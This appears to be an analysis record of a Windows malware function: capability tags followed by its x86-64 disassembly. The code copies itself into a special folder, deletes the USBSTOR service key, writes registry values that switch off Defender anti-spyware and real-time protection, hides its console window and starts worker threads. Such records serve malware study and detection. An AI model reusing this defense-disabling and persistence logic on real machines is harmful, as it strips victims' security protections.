Function at 0x14003ca90
Capabilities:
Create thread
Delete registry key
Disable windows defender features via registry on windows
Get common file path
Get startup folder
Hide graphical window
Persist via windows service
Set registry value

Disassembly:
jmp 0x14003ca90
push rbp
push rdi
sub rsp, 0x6b8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x10a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14017ce00]
xor rax, rbp
mov qword [rbp + 0x658], rax
lea rcx, [0x140195306]
call fcn.140004e5d
nop
xor r9d, r9d
mov r8d, 7
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x14003ccf6
xor r8d, r8d
mov edx, 0x104
lea rcx, [rbp + 0x138]
call fcn.140003332
nop
xor edx, edx
lea rcx, [rbp + 0x138]
call fcn.1400017ee
mov r8d, 0x104
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
nop
lea rcx, [rbp + 0x138]
call fcn.1400015d2
mov rcx, rax
call fcn.140002c4d
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x138]
call fcn.140001564
nop
xor r8d, r8d
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x4b8]
call fcn.1400040c0
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x638], rax
lea rdx, [rbp + 0x4f8]
mov rcx, qword [rbp + 0x638]
call fcn.140002d1a
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov qword [rbp + 0x650], rax
lea rdx, [rbp + 0x178]
mov rcx, qword [rbp + 0x650]
call fcn.140001a5f
nop
lea rcx, [rbp + 0x4f8]
call fcn.140004881
nop
lea rcx, [rbp + 0x4b8]
call fcn.140004881
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x538]
call fcn.140002cb1
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x630], rax
lea r8, [0x14013e2cc]
mov rdx, qword [rbp + 0x630]
lea rcx, [rbp + 0x578]
call fcn.140004895
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov qword [rbp + 0x640], rax
lea r8, [rbp + 0x178]
mov rdx, qword [rbp + 0x640]
lea rcx, [rbp + 0x1b8]
call fcn.140002662
nop
lea rcx, [rbp + 0x578]
call fcn.140001bc2
nop
lea rcx, [rbp + 0x538]
call fcn.140001bc2
nop
xor r8d, r8d
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x5b8]
call fcn.1400040c0
nop
xor r8d, r8d
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x5f8]
call fcn.1400040c0
nop
mov r8d, 2
lea rdx, [rbp + 0x5b8]
lea rcx, [rbp + 0x5f8]
call fcn.14000394f
nop
lea rcx, [rbp + 0x5f8]
call fcn.140004881
nop
lea rcx, [rbp + 0x5b8]
call fcn.140004881
nop
lea rcx, [rbp + 0x1b8]
call fcn.140001bc2
nop
lea rcx, [rbp + 0x178]
call fcn.140001bc2
nop
lea rcx, [rbp + 0x138]
call fcn.140001bc2
nop
lea rax, [0x140182a10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
nop
lea r8, [0x140182a10]
lea rdx, str._sdesktop.ini
lea rcx, [0x140182900]
call fcn.14000498a
nop
mov dword [0x1401828f8], 0x4650
lea rdx, str.SYSTEMCurrentControlSetServicesUSBSTOR
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
nop
mov dword [rbp + 0x234], 1
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0
jne 0x14003cf27
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableAntiSpyware
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x218]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Real_Time_Protection
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
nop
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableRealtimeMonitoring
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableBehaviorMonitoring
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableScanOnRealtimeEnable
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableOnAccessProtection
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableIOAVProtection
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
nop
call fcn.140004372
nop
mov dword [0x1401828f0], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140003e3b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x628], rax
movsxd rax, dword [0x1401828f0]
lea rcx, [0x140182800]
mov rdx, qword [rbp + 0x628]
mov qword [rcx + rax*8], rdx
mov eax, dword [0x1401828f0]
inc eax
mov dword [0x1401828f0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140005222]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x628], rax
movsxd rax, dword [0x1401828f0]
lea rcx, [0x140182800]
mov rdx, qword [rbp + 0x628]
mov qword [rcx + rax*8], rdx
mov eax, dword [0x1401828f0]
inc eax
mov dword [0x1401828f0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140001c67]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x628], rax
movsxd rax, dword [0x1401828f0]
lea rcx, [0x140182800]
mov rdx, qword [rbp + 0x628]
mov qword [rcx + rax*8], rdx
mov eax, dword [0x1401828f0]
inc eax
mov dword [0x1401828f0], eax
call fcn.1400034db
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14013c420]
call fcn.1400042ff
mov eax, edi
mov rcx, qword [rbp + 0x658]
xor rcx, rbp
call fcn.140002e69
lea rsp, [rbp + 0x668]
pop rdi
pop rbp
ret